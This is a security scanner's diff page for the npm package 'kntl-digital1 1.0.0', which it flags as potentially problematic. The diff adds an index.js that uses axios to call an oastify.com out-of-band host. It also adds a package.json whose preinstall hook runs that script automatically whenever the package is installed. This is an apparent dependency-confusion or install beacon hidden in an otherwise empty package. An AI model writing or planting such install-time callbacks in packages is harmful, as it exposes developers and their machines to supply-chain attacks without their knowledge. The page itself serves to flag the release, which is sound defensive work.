kntl-digital1 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of kntl-digital1 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +11 -0
  2. package/package.json +16 -0
package/index.js ADDED
@@ -0,0 +1,11 @@
1
+ const axios = require('axios');
2
+
3
+ axios
4
+ .get('https://li79c87t4swwlq77hvrkl6in4ea5yu.oastify.com/axios')
5
+ .then(res => {
6
+ console.log(`statusCode: ${res.status}`);
7
+ console.log(res);
8
+ })
9
+ .catch(error => {
10
+ console.error(error);
11
+ });
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "kntl-digital1",
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "axios": "^0.27.1"
13
+ },
14
+ "devDependencies": {},
15
+ "description": ""
16
+ }